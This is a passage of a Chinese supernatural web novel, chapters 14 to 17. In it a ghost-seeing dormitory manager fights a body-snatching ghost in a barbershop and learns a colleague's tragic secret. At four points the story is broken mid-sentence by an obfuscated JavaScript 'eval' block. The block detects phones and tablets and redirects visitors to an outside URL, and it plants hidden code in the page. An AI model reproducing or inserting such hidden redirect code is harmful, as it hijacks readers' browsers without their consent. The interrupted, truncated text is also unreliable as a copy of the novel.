肩上的伤已经一周多了,现在提重物都还隐隐作痛,拾冬准备去药店买副膏药,顺便再去买顶假发。 怕遇到学生拾冬特意戴了口罩出门,一出校门没多远便找了个人少的垃圾桶,扔了头顶快要滑下来的假发。 附近是大学城,药店到处都有,膏药好买,可便宜假发不好找。精品店卖的仿真假发随便一顶都要上千,拾冬后悔刚刚那么爽快把假发扔了。 路过橱窗时,她看了看镜子里的自己,头发已经齐肩,看了四五秒吸了口气,决定把头发剪了,省钱又省事。 离门禁还有半小时,在连续看了好几家理发店都得排队后,她终于找到一家小店,老板娘百无聊赖趴在柜台刷手机。 “剪头发吗?”见有人进来,身形丰腴的老板娘起身相迎,“先洗头吧。” “不用了,直接给我剪短。”拾冬摘下口罩,眼镜言简意赅道。 老板娘一怔,倒也没说什么,拿出泛黄围布给她围上,走到旁边位置一边找剪刀,一边问她想剪到多短。 “这。”拾冬对着镜子比了比,这家店看来生意很差,镜子都有些模糊,“耳朵下一点。” “好。”老板娘的手插进拾冬发间,她一边梳着拾冬头发,一边说:“这么好的头发剪了多可惜。” “天热麻…” 滴答 有什么东西滴在额头,拾冬本能一摸,手指染上一抹鲜红。 不好! 一只惨白的手按在自己头顶。 “吱呀。” 店门缓缓关上。 几个学生吃完火锅已经快到门禁时间,有人提议抄近道。 “走大路吧,我不敢走那里。” “是啊,听学姐说那条路容易鬼打墙,好几个人都证实了,我也有点怕。” “对,前阵子听说有个理发店老板娘失踪,现在都没找到。” “你们能不能别神神叨叨的,还有八分钟就查寝了,我们上星期寝室分快被扣光了,辅导员说再扣就扣我们学分,你想不想毕业了。” “可是…” “快走吧,有什么怕的,来,跟着我唱。” “唱什么?” 三个女生拐进小巷,嘴里嘟嘟囔囔唱着, “噜啦噜啦咧, 勇敢向前进, 噜啦噜啦咧, 聪明勇敢有力气, 我真的羡慕我自己...” 她们战战兢兢经过那家黑暗无人的理发店时,听到里头“哐啷”一声。 “你们…听到了吗?” “…好像听到了。” “啊啊啊啊啊啊啊啊” 女孩们仓皇逃窜往出口奔去。 店内。 拾冬被狠狠压在镜子前,碰倒的收纳架,剪刀梳子散落一地。 狼狈死了。 拾冬这个时候还不忘吐槽这受控的局面。 她已经忘了自己什么时候开始能看到这些东西的。 也许是第一次在孤儿院和其他人看不见的东西说话时候,也许是第一次被那些东西恐吓威胁,吓哭的时候。 吃的苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584009|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,便总结出让自己不受伤的方法,装看不见。 可是再装看不见,难免有疏忽大意的时候。 “你想怎么样?”拾冬发问,眼里并无太大惊惧之色。 十岁那年她从孤儿院逃出来,遇到了孟永。 她愿意跟着孟永,是因为他们是同类,更何况孟永还会把走阴所得的钱分给自己,连饭店都不要童工的年纪,跟着孟永是最好的选择。 跟孟永这十多年她见过太多这样的情形了。 余光中,她看到镜台旁的剪刀。 女人俯下身贴近拾冬,镜子里,她一半脸已是森森白骨。 “头发。” “给你头发就放我走?” “当然。” “好。” 拾冬重新坐回椅子,就在女人拿起剪刀准备剪她头发时,拾冬头一偏迅速躲过,紧接着拿过镜台上的剪刀利落插进女人身体,转身往大门跑去。 女人拔出剪刀发出一声低吼,双眼血红朝拾冬伸出手,四周物品震动发出凌乱哐啷声。 还差几步就到门口的拾冬一个踉跄被拖回椅子,女人的手扯住后脑的头发,她被迫仰起了头。 要不是刚刚那把剪刀太钝,她来不及划破自己的手,不然沾上血的话肯定能跑出去。 女人身上,恶臭血水不断往下淌,看来这副身体撑不过今晚。 “你真漂亮。” “像你这么漂亮找男朋友很容易吧,这个肥婆又老又丑,我已经好久没谈恋爱了。” “…有病。”拾冬从牙缝中挤出两个字。 “看着我!” 女人低头对上拾冬的眼睛,察觉到女人意图,拾冬立马闭上了眼。 女人想要的不是头发,是替身。 现在这具身体已经腐烂,它必须找新替身。 冰凉手指掀开眼皮,拾冬看到女人越凑越近的脸, 要死在这里了吗? 就在这时,刚刚三个女生只能听到声响的店,被一个人轻易推开, “不好意思,问一下这怎么出…” 15. 第 15 章 拾冬先女鬼一步扭头看到了郁之,诧异还没完全涌现,就见郁之被一股力掼进旁边的椅子。 “一下来了两个,今天可真是好日子。” 女人在他们身上来回扫视了几眼,忽然笑了起来,指着拾冬问还在状况外的郁之,“她是你理想型吗?” 郁之看了拾冬一眼不说话。 见郁之不回答,女人沉吟几秒问拾冬:“他追你你同意吗?” 拾冬同样不说话。 用哪个好呢? 女人泛起愁来,这两个看起来都很不错,就在于自己想当女人还是男人。 但她没有思考多久,看向了拾冬。 “还是用你吧。” 生前她被男人骗得不得善终,如今,她也要利用这张脸,让那些男人都不得好死。 女鬼朝拾冬俯下身前冲郁之眨了眨血淋淋的眼,问:“等会儿我们去约会吗?” 话音刚落,下一秒,心脏传来剧痛,女人不可置信低下头,一把剪刀精准从后面贯穿胸口。 几滴腥臭血水划过少女白净脸庞,她侧头看向女人,眼神轻蔑吐出两个字, “凭你?” 郁之愣着,心里不合时宜冒出两个字, 她是。 “你是什么人!”女人满目狰狞朝拾冬伸出手,皮肉一块块往下掉,眼看着手臂变成两根白骨,按理说她吃了那么多鬼,为什么沾了血的剪刀有这么大威力。 女人跪在淌了一地血水的地上把皮肉一个劲往身上贴,“不要,不要,我好不容易才活到现在,不要,我放你走,我放你走,你救救我,我发誓不再害人,求求你,我生前没害过任何一个人,我也是无辜的啊!” 女人已是强弩之末,任凭她如何哀求,拾冬都不为所动。 这些年,她早就不再相信这些东西嘴里的任何一句话。 她起身站起来,不再看快化到剩下头的女人。 “别走…救我…救我!” 拾冬头也没回推门离去,郁之跟着出了理发店,发现再推门已经推不开了。 划伤手掌的剪刀生锈了,拾冬惜命,计划去医院处理一下,看看是不是要打破伤风。 这时,一张纸巾递了过来,拾冬回头,想起郁之还在这,她接过说了句谢谢,用纸巾按住伤口,问:“你怎么进来的?” “走半天没走出去,看到店里有光就进来了。”郁之一边说一边划着手机屏幕。 拾冬听完,猜测他应该是遇到鬼打墙,误打误撞进来了。 他身上的鬼气应该没完全除干净,不然正常人不会遇到这种事。 “谢谢你,但是今晚发生的事不要对任何人说。” 为了避免不必要的麻烦,拾冬没想和他过多接触,说完要走,被拦住,拾冬不解,用眼神询问“还有事吗?” “我叫车了,作为报答,带你去医院处理一下伤口。” 拾冬皱眉,在心里怀疑郁之是不是还记得自己,可他眼里的陌生又不像伪装,正犹豫要不要接受他这份好意,他叫的车已经到了。 “走吧。”郁之挂了电话指了指巷口,“司机在外面等了。” “行。” 两人一前一后上车,车子开出没多久,郁之对刚刚的一切产生了浓厚兴趣,一直在试图找话题,拾冬闭眼不搭理,嫌烦了和之前一样低斥一句:“郁之闭嘴。” 车里一瞬的寂静过后,是郁之含笑的嗓音:“你怎么知道我的名字。” 拾冬反应过来,懊恼睁开了眼,一扭头看到郁之,原本两人是隔着一个位置分坐在后座两边,不知何时,他坐到了自己旁边。 “你...刚不是在理发店说了吗?”拾冬脑子飞快转了一下,迅速编出一句谎言。 “有吗?”郁之淡淡笑着反问。 拾冬面不改色点头,“有。” “这样啊...”郁之看向她掌心沾血的纸巾,问,“还痛吗?” 拾冬摇头。 “你经常这样做?” 拾冬又摇头,她很少做这类自残的事,和孟老头在一起,他总能让自己免受伤害,今晚算个例外。 “那就好。” 郁之不再说话,拾冬自然不会找话题,她迷迷瞪瞪靠在椅背,头发没剪成,又碰到这事,刚还接到刘姐气急败坏的五六条信息,说她擅自离岗,今晚真是不宜出门。 风从敞开的车窗灌进来,吹乱头发,发丝拂在脸颊,细细软软的痒,正想伸手将头发别到耳后,发痒的感觉消失,一根手指不着痕迹从女孩耳后收回。 拾冬更深睡了过去。 到医院挂了急诊,伤口不深,包扎过后,保险起见还是要打针破伤风针,做完皮试,要等二十分钟。 拾冬摸了摸自己头发思考明天回去,该怎么解释头发是如何在这几个小时神奇长长的。 想起刚在医院门口下车时,旁边开着的24小时便利店。她决定去买把剪刀自己剪。 二十四小时的便利店里只有一个女店员,头低着像是睡着了。 拾冬拿了把看上去锋利的剪刀,走到柜台,“结账”她出声叫醒店员一边亮出手机二维码。 店员闻言有些迟缓站起来,盯着她问:“还需要别的吗?” 好像有些饿了。 拾冬扫了眼旁边冒着热气的红油关东煮,“魔芋结,牛肉丸,还有...” “叮咚” 门口感应门打开,从外面进来一个穿着便利店logo服装的店员,看到拾冬先是一愣,立马反应过来,快步走过来道歉:“真不好意思,店里厕所坏了,我去前面上了个厕所,你要买什么..” 店员站在柜台前,他的身体和刚刚那个女店员左半身重叠在一起,拾冬忽视女店员怪异的眼神,把二维码伸过去,“不用了,结账吧。” 拾冬离开便利店,但女店员跟了上来。 “你能看见我对吗?” “我知道你能看到我。” “别装了,说句话!” 无论女店员怎么说,拾冬都不搭腔,女店员见拾冬没反应,说出了主旨:“我知道你能看见,你能不能去盛辉小区6栋603帮我给我姐姐带句话。” “求求你...” 拾冬目不斜视往前走,冷不丁回答:“5000。” “…什么。”女鬼脸上浮现不理解的表情。 “我的劳务费。”拾冬扭头对上目瞪口呆的女店员,“没钱就别再跟着我,否则让你投不了胎。” “你没有同情心吗?” 拾冬置若罔闻,这年头,同情心又不能当饭吃。 她拿着剪刀回医院。 “你怎么还没走?”拾冬看到郁之坐在医院长椅上疑惑,刚刚明已经明确拒绝了郁之陪同的想法,她还以为他已经走了。 “我等会儿送你回去。” “不用。”送她回去不就露馅了,见郁之还想说话,她做了个停的手势,“今晚就到这,回去吧,谢谢你送我来。” 拾冬讨厌和人打交道,能不建立连接,她绝不会多说一个字,今晚对郁之已经算破例了。 “这么晚你一个人不安全。”郁之余光瞥到她手里的剪刀,皱了皱眉问,“你买剪刀干什么?” 你怎么那么多问题? 拾冬感觉郁之比离魂时还烦,她正要回答“和你无关”,突然想到,自己手受伤,要剪头发一只手操作不方便,冲郁之问:“你会剪头发吗?” 郁之一愣。 “帮我剪个头发,剪到这。”拾冬比了比长度,见他看着自己不说话,“你要不会就算了,我找护士问问。” “我会。”郁之上前快速拿过拾冬手里的剪刀,拆开包装,重复一句,“我会。” “好,那你剪吧。”拾冬这口气和对理发店的Tony说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587013|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没丝毫区别,急诊刚刚来了个烧伤患者,这会儿医生护士都过去了,也没人管她。 拾冬坐在长椅,郁之站在身后,手心托着女孩柔软的头发,剪刀拿在手里,好像不会用,半天没动作。 “你到底会不会,一刀切啊。”拾冬等了两分钟都没听到“咔嚓咔嚓”声,想转头看他在干什么,被一只手眼疾手快挡住,随后响起郁之略带无奈的声音, “我还拿着剪刀,要戳到你怎么办?” 郁之的手掌贴在耳朵,连同下巴都感受到了他掌心的温度,拾冬不自然推开郁之的手,站起身,“算了,我还是找别人吧。” “我会。”郁之拿剪刀的手扬高,不让拾冬拿,见她有些不耐烦的样子,说,“坐下吧,五分钟给你剪完。” 拾冬不情不愿又一次坐下,这次剪刀没有犹豫,“咔嚓咔嚓”声簌簌响在耳边,他们的影子投射在地上,挨在一起,远远超出了拾冬心里的安全距离。 没几分钟听到郁之说好了,拾冬起身,走到玻璃前照了照,是自己想要的长度,她不细究好不好看,朝郁之伸出手,“头发还我。” 郁之将手里的头发放在她包着纱布的掌心,却没有归还剪刀。 “你可以走了。”虽然有卸磨杀驴的意味,但拾冬确实不想和郁之再待在一起了。 医院消毒水的气味,发冷的灯光,偶尔一连串匆匆的脚步声,女孩脸上的冷漠疏离太过明显,再进一步也只会适得其反,郁之收拢虚环的手心,说:“那我先走了,你回去小心,下次见。” 拾冬睫毛颤了颤,这话和当时他在回魂阵里,说的一样。忍住想探听他到底还记不记得自己的冲动,正巧这时医生回来,喊她去打针。 “今晚谢谢你。”拾冬没有说再见,潜意识并不想和他再见,也不等郁之说话,转身进了清创室。 郁之往外走,周围的光线越来越暗,布景也开始如软化的冰淇淋混沌不清,几秒后,光线大亮,模糊的医院大楼变成卧室,郁之坐在床沿,摊开手,一缕头发安静躺在手心。 * 打完针从医院出来,拾冬沿着街道想找个店吃点什么,低头不经意瞥到衣服上的血迹,是那个女鬼的,穿的深蓝衣服,不仔细看的话很难辨认,但味道很臭,看来这衣服不能穿了。 拾冬不满。 路过一橱窗时,她略微顿了顿。 虽然已经歇业,但陈列在橱窗里那件的旗袍,还开着展示灯,裁剪精细,透着古典气韵,看上去就很贵。 拾冬退后两步仰头看了看店名。 吴记绣纺--百年老字号 这衣服还挺好看。 拾冬收回视线接着往前走,随便找了个24小时营业的快餐店小憩了一会儿,搭乘第一班早班车回了寝室,一进门便和刘姐打了个照面。 “昨晚没回寝室,不是说了不能擅自离岗吗?你知道昨晚出了多少事吗?”刘姐给她发了五六条信息拾冬都没回,昨晚她一个人查寝到十一点,二楼寝室闹矛盾,导致有个同学哮喘犯了,差点出事,一晚没睡好,当下看到人不了要拿出老员工的架子树立威信,“这回让你一次,再有下次我直接告诉谢主任。” 拾冬困得不行,连争辩的力气都没有,敷衍点头说知道了,想回去睡一觉。 “你去哪,六点了,该去打扫卫生了。” 平时卫生都是八九点等大部分学生上课之后再打扫,现在刘姐这样,摆明了对她不满想为难她。 “你先打扫你自己的,剩下的我八点扫。” “不行,我说几点就几点。” 拾冬好脾气到头,天还没完全亮,楼里看上去灰蒙蒙的,烦人的玩球声忽远忽近传来,沉浸在睡梦中的学生们浑然不觉。 “刘姐,卫生我八点准时起来弄,现在我想去睡一会,要那个东西别玩球了,吵死了。” 刘姐脸上的表情一寸寸裂开。 16. 第 16 章 拾冬一觉睡到下午,这期间,刘姐没来打扰她。 见刘姐第一眼,拾冬便看到了她旁边那个孩子,在人间逗留越久的鬼,它身上的怨气就越重,但那个小孩虽然看上去死了些年头,却还维持了本性,所以平时藏东西,拔充电器,在楼道玩球吵得人睡不着,她都懒得管。 拾冬在床上醒了醒困,伸手拿过枕边手机,翻了翻通知栏,没人找她,但看到了一则新闻推送。 “失踪几月的理发店老板尸体离奇出现,死状恐怖!” 她点进去看。 视频里两个警察戴着口罩抬着担架出来,白布打了码,但还是隐隐能看出红色血迹,镜头转到店内,昨晚遗留的打斗痕迹竟然全部消失,连同地面都十分干净,拾冬把进度条拖回去确认了好几遍,的确什么都没有。 虽然奇怪,但也让拾冬松了口气,毕竟她的口罩和眼镜当时忘记带走了。 视频里头发花白的男人正麻木站着接受记者采访。 “这几个月你真的不知道你妻子去向吗?” 男人木然。 “街坊邻居说你们夫妻感情很好,你妻子离开这么久你没试着联系过她吗?” 男人依旧一言不发。 “现在尸体找到,你有什么想说的吗?” 男人在镜头前沉默半晌,就在记者以为他不会回答,打算自己找补时,男人嘶哑开口: “饭做好了,记得回来吃饭。” 理发店墙上,身形丰腴的女人搭着老公和女儿的肩对镜头笑得一脸灿烂。 拾冬关上视频,快速洗漱完后,拿上手机出了寝室。 肩胛骨经过昨晚,好像更严重了,她这才想起花七十多买的膏药也不见了。 拾冬刚到宿管办公室,刘姐正把毛衣比在小孩身上,见拾冬进来,忙把小孩护在身后,警惕又不安看向拾冬。 “刘姐,我对别人的事没兴趣。”拾冬从抽屉里找到自己的饭卡,瞥了一眼她身后的孩子,“这个孩子哪来的怎么来的我一点都不关心,大家就是同事,我不会多问。” 刘姐脸上的戒备缓了一点,期期艾艾开口:“小严啊,我今早语气不好,我向你道歉,以后我们该怎么就怎么。” “好,我吃个饭就回来,今晚我来查寝。”拾冬这人不吃亏但也不占人便宜,昨晚那事,她的确欠周到。 “诶,好。” 不管人还是鬼,一旦被抓到弱点,气势上本能就矮下去,刘姐和昨晚的女人便是活生生的例子。 * 晚上@完群里各寝室长,拾冬正对着寝室名单,做报上来的请假人数标记,一楼突然传来大嗓门,对着二楼喊,“张婕,快下来,有人在一楼表白,快来看啊!” “来了来了!” 没两分钟,楼上风风火火跑下几个女生,争先恐后跑出了楼道,笑声隔老远还隐约可闻。 “是不是挺青春美好。”一旁打毛衣的刘姐不知为何突然感慨了一句。 拾冬打钩的手没停,含糊嗯了一声,没有继续话题的意思。 刘姐望着拾冬一笑不再多话,低头继续打毛衣。 楼上秦柳寝室。 “哇哦~冯晨还真是个行动派啊。”秦柳喝着奶茶倚在阳台看楼下蜡烛一根根燃起,扭头冲寝室的缩头乌龟喊,“小荔枝,快来看啊,好浪漫哦~。” “闭嘴!”林芝埋在桌上哀嚎,“你下去告诉他别整这套,i人和e人没有好结果的!” 秦柳哈哈大笑,没两分钟她一拍大腿卧槽一声,林芝以为干嘛了,一抬头听到她喊, “冯晨把花坛点着了!” “……” 冯晨本来用的打火机,结果点到一半打火机没气了,他在口袋发现了上周给室友过生日时留下的火柴,就干脆用这个点了,点蜡烛的时候脑子里一直在想等会表白的话术,随手就把火柴扔在了花坛,没想到把花坛里的枯叶点着了。 拾冬和刘姐拎着灭火器出来的时候火已经灭了,一群人围在摆成心形样子的蜡烛旁,叽叽喳喳说笑着,一盆水就搞定的事,他们压根不觉得有什么。 拾冬见火灭了,拎着灭火器准备回去,刘姐劈手夺下她手里的东西,对着蜡烛一顿猛喷,始料不及的同学们愣愣看着刘姐,没敢吱声。 “以后A栋寝室楼外不准再进行此类活动,谁有意见让校领导来找我,全都走!”刘姐吼完提着灭火器回去了,留下一众安静如鸡的大学生们。 “一个宿管,牛什么啊。” “有病吧,冲我凶什么。” “就是啊,又不是故意点的。” 拾冬听着他们的窃窃私语,转身回办公室接着整理请假名单。 寝室里弥漫出说不上来的尴尬,秦柳和其他两个室友使眼色,但谁也没想出个一二三四来。 “小荔枝啊,没事哈,这没什么的,这跟我们又没什么关系,就算花坛着了也不是你的错。” “是啊,这说明你和冯晨没缘分,别往心里去。” 林芝低落“嗯”一声,拿了睡衣就进了浴室。 浴室门关上,几个女生凑在一起小声谈论起别的来。 “刚刚刘姐说的话你们听到没。” “听到了,我觉得这样挺好,不然晚上经常有人在下面鬼吼唱歌,吵死了。” “不是啊,我是说,冯晨跟林芝表白发生这样的事,导致以后希望这样表白的人都没了这个途径,会不会有人觉得是我们寝室的错,在背地里说我们啊。” “…不能吧,这和我们有什么关系,说我们干嘛,又不是我们点的。” “就是。” 女孩们正讨论着,门忽然开了,以为是其他室友回来了,扭头一看,是叶如月。 今晚别想睡好觉了。 秦柳脚一蹬,电脑椅带着她回到自己座位,寝室终止话题,各自回到位置玩手机,看书,总之没人出声跟叶如月说一句话。 冯晨给林芝打了七八个微信电话外加手机都没人接后,他愁眉苦脸问室友“怎么办?” “这有啥,你明天好好解释解释。”把这个小插曲抛之脑后的室友几人已经在寝室开黑了,一边疯狂点着鼠标一边无所谓回答。 冯晨转向寝室唯一没打游戏坐着发呆的郁之又问了一句怎么办,结果对方问他刚刚拿灭火器过来戴着眼镜的人是谁? “…宿管吧。”冯晨回想了一下不确定答道。 “宿管?” 冯晨见郁之笑得意味深长,当下来了兴趣问:“有什么问题吗?” “没有,我洗澡去了。” “诶,你们不管我死活了吗?我怎么办啊。” 回应他的是游戏里“哒哒哒”的枪声。 * 今晚拾冬值班,查完寝后宿舍楼逐渐安静了下来,给划伤的手掌消毒上完药后,她又去了厕所一趟,正想褪下半边衣服时,突然朝空无一人的身后瞪了一眼,“出去。” 等了半分钟,拾冬这才把衣服解开,镜子里,肩胛骨处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594133|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透着不自然的紫。 拾冬把膏药贴上,没一会儿肩膀处传来源源不断的热度,她穿好衣服回到办公室,发现充电器被拔了,外面走廊,回荡着丁零当啷的拍球声。 拾冬睡到下午还不困,这会儿无聊,干脆抓个鬼消遣消遣。 她坏心眼伸手捞走了那颗旁人看不到的弹簧球。 “拿不到吧。”拾冬得意洋洋看向张着手踮脚也够不到球的小鬼,它穿着的高领毛衣应该是刘姐打的,看着很合身,“说对不起我就给你,你藏了我那么多次东西,还拔我充电器,跟我道歉。” “啊...啊...”小鬼急得说不出话,啊啊两声。 “说对不起,快点,不然我给你捏碎。”拾冬变本加厉威胁道。 “啊..啊...”小鬼无措叫着,拾冬手却捏的越来越紧。 “这孩子不会说话。” 身后传来刘姐平静的声音,对人家孩子做了坏事的拾冬有些心虚放下手,把球还了回去。拿回玩具的小鬼委屈极了扑进刘姐怀里。 “她声带早就烧没了。” 刘姐扯下小鬼脖上的领子,拾冬看到它满是烧伤的皮肤没有说话。 “这几天睡不着,要不让我当回祥林嫂吧。” 两人在宿管办公室坐下,刘姐把孩子抱在腿上轻拍着,“她叫言言,是我孙女,五年前,我儿子儿媳还有她,全死于一场火灾。起因是楼上小孩玩火,火点子掉下来烧着了窗帘,他们当时在卧室午睡,等发现的时候已经出不去了,小区车子堵住了消防通道,消防车迟迟进不来,就这样活活被烧死了。” “我丈夫走得早,就这么一个儿子,懂事听话,自己也争气,考了博士,当了这学校的老师,儿媳孝顺,孙女乖巧,可那一场火,全没了..从那天起,我也跟着死了。” “可笑的是,那家人竟然全都活了下来,他们求我原谅,赔了我很多钱,说是小孩的无心之举。好一个无心之举,一个无心之举杀了我的孩子…” 拾冬看着刘姐发红的眼圈,想起晚上她拿着灭火器气急败坏的模样,腿上的小鬼,正笨拙用手抚摸着流泪的奶奶。 “所以你找人叫魂了?” 刘姐淡淡点头,“对,用那家人赔的钱。” 事情一开始并不顺利,现在这种民俗早就被科学取缔,要想找到真正能通阴的人更是难上加难,她花了不少冤枉钱,终于找到这么一个人。 “是谁?”拾冬直觉不是孟永,因为她对刘姐一点印象都没有。 “不知道,我眼睛被蒙住了。” 没想到除了孟永,竟然还有真正会叫魂的走阴人,而这个人,她和孟永都不知道。 “你有阴阳眼?”刘姐看着不像是有阴阳眼的人,可是她能看到言言。 刘姐也不藏着了,她指了指自己的右眼,“走阴花不了那么多钱,为了见到言言,我给了那个人一只眼睛。” 阴阳瞳。 拾冬听孟永说过,这是邪术。 “你还能看到别的?” “不能,我只能看到言言。” 这人到底是何方神圣,阴阳瞳还能定制。 拾冬真想会会他了。 “你为什么能看见这孩子?” 拾冬回过神,正想说话时,刘姐膝上的孩子突然捂头尖叫跑了出去,两人着急去追,这时楼上跑下来一人,大喊“310寝室打起来了!” “我来处理,你去找孩子吧。” 拾冬说完转身跑上了楼。 17. 第 17 章 到310寝室时,两女生即使被拉开,嘴里还互相咒骂着,拾冬还以为打架的是今晚回寝的叶如月,结果一看,并不是,叶如月正帮忙拉架。 “天天说自己社恐,笑死,和男人勾勾搭搭的时候可没见你社恐。” “关你屁事,有本事你也去啊丑逼。” “我可不像你那么饥渴..没男人就活不下去...” “你别以为我不知道你对冯晨有意思,你他妈就是嫉妒我。” “我嫉妒你妈!” 吵架的这两个人拾冬认识,经常和秦柳组成三人行同进同出,分享同一杯奶茶的人如今也能面目狰狞咒骂对方。 拾冬真心不想管这种无趣的事,可眼下又不得不做,于是采取最快方式让她们闭嘴。 “哗啦”两声后,看热闹的人群中发出“卧槽”的惊叹。 “你有病吧!”被泼的两人这会一致对外,冲拾冬喊起来。 “你们半夜不睡觉在宿舍打架,影响其他同学休息,这个月寝室分扣光,之后我会通知你们辅导员...” “去告啊,谁怕谁,你以为我们还是小学生吗?笑死,你叫家长我都没意见,去啊,一个宿管,拿鸡毛当令箭。” 拾冬对这种羞辱并不气恼,笑着反唇相讥:“你们既然被我这种人管,说明你们现在连宿管都不如,好好琢磨琢磨吧,别到时连宿管都当不上。” 拾冬边说边把外面看热闹的人打发走,“不相关的人赶紧回去。” “冷静下来就去睡觉。”拾冬说完关上了310寝室的门。 四周恢复安静,打架的两人各自爬上床,剩下四人在这怪异气氛中,你看看我,我看看你,呆若木鸡。 “那个,你脸没事吧?” 刚刚林芝和简悦打架,简悦是体育特长生,大家都有点怕她,没想到第一个冲上去的竟然是一直被孤立的叶如月,秦柳看着她脸上的血痕心里五味杂陈。 “没事。”叶如月拿镜子照了照,伤口不大,但都渗出了血丝。 “我这有碘酒,你涂点消毒吧。”另一室友主动递上碘酒和棉签。 “谢谢。”叶如月接过朝她们笑了起来。 秦柳心里更复杂了,其实没出程锦芙那事之前,她们和叶如月处的都还不错,叶如月人虽然有些胖,但性格软和,拜托她点个名带个饭都会同意,这会儿林芝和简悦闹出这事,以后怎么相处都说不准,真烦。 秦柳躺在寝室床上长叹了口气。 拾冬回到办公室,刘姐还没回来,她喝了口水,想起刚刚寝室里的那些人,发了一会呆,这时,一个人影从面前掠过,这么晚怎么还有人下来,拾冬烦躁皱眉,再一看,人影消失。 有东西进来了。 * 第二天的310寝室依旧低气压,简悦一早就去训练了,林芝也冷着脸不和任何人搭话,脸一洗拿上书就出门,剩下两人本就很少和秦柳她们一起,收拾完两人打了个招呼也走了,寝室里就剩秦柳和叶如月。 “秦柳,我去食堂买早饭,要帮你带吗?”叶如月脸上血痕经过一晚上还是红肿,看着有些吓人,怯生生望着自己时,让秦柳感觉自己之前孤立她是不是太过分了。 “...一起吧。”秦柳别别扭扭说,两人一起出了门。 在去食堂路上,两人遇到了杨晔,算起来,自从程锦芙出了那事后,叶如月和杨晔很久没碰面了。 “杨晔,最近怎么样?” “就那样呗。”杨晔低头看了看叶如月,又看了一眼几步开外鬼鬼祟祟想偷听的秦柳。 “我听说阿姨要赔很多钱,是真的吗?”叶如月手指不安绞在一起。 “你是不是觉得我很没出息?” 秦柳直觉这里有事,小碎步往他们方向挪了两步,清晰听见叶如月哽咽的声音“杨晔,我从没这么想过你,只是我们都对不起程锦芙。” 什么和什么,什么对不起程锦芙,程锦芙不是自杀的吗? “不怪你。”杨晔伸手想安慰她,结果手刚碰上头顶,对方快速躲开,他扑了个空。 “我先去上课了。” 津津有味听着八卦的秦柳立马跟了上去,没走两步终于按耐不住,问道:“就..啥意思啊?” 叶如月知道刚刚的话秦柳听到了,她揉了揉眼睛,犹豫再三,看向求知若渴的秦柳,“我和杨晔很早就在一起了。” “哦..啊?啊?”秦柳黑人问号脸,这怎么和自己得到的情报不一样。 “程锦芙那本本子和我一点关系都没有。”叶如月在食堂说出了秦柳不了解的那部分。 叶如月和程锦芙是大学报道那会儿认识的,明泉大学都是等军训结束后才正式按专业分寝,于是当时6人寝室只有叶如月和程锦芙是同一专业,本能的两人走的近一些,只是没多久,叶如月就发现了程锦芙怪怪的,经常一个人嘀嘀咕咕,在笔记本上写东西,之后有次叶如月东西点多了没吃完,程锦芙误以为她在减肥,出口讽刺“你不会以为瘦下来就会有人喜欢吧?” 叶如月本能抗拒这种人,军训结束后得知自己不跟程锦芙一寝,心里还松了口气,只是她没想到自己和杨晔谈恋爱的事被程锦芙发现了。 叶如月妈妈从小到大对叶如月盯得紧,所以和杨晔谈恋爱都没敢让身边人知道,生怕告到妈妈那去,平时和杨晔出去玩都跑很远,没想到意外被程锦芙撞见了。 “我很害怕,求程锦芙不要说出去,那时候她因为本子的事被班里人孤立,我没想到,她会污蔑我说本子我也有写...结果..” “我知道了!是不是程锦芙威胁你,所以我们问你的时候你才没说真话。”秦柳恍然大悟抢话,见叶如月点头一脸我就知道的神情,“程锦芙这人怎么那么坏啊,蔫坏蔫坏的,难怪这人看上去那么阴森..” 沉浸在自己推理的秦柳咬了一口油条,转念琢磨出盲点,“诶,不对啊,那既然程锦芙不喜欢杨晔,那为什么说她是为杨晔自杀的?” “不是自杀..是意外。”叶如月捏紧手里的豆浆杯,豆浆溢出沾湿手指,“程锦芙出事那天,正好碰到杨晔,杨晔早就听说我被欺负的事,于是气不过找程锦芙理论,程锦芙被气哭,没注意路边的车,才发生了意外,我不知道程锦芙为杨晔自杀是谁传的,总之现在我和杨晔没办法在一起了,我和杨晔都是凶手。” 秦柳听完整件事经过,如同看了五六十集国产狗血剧一般的表情。 她看着低头抽泣的叶如月从包里掏出纸巾递过去,“那个...这是意外,谁也不想,再说了,是程锦芙自己过马路不小心,和你们有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 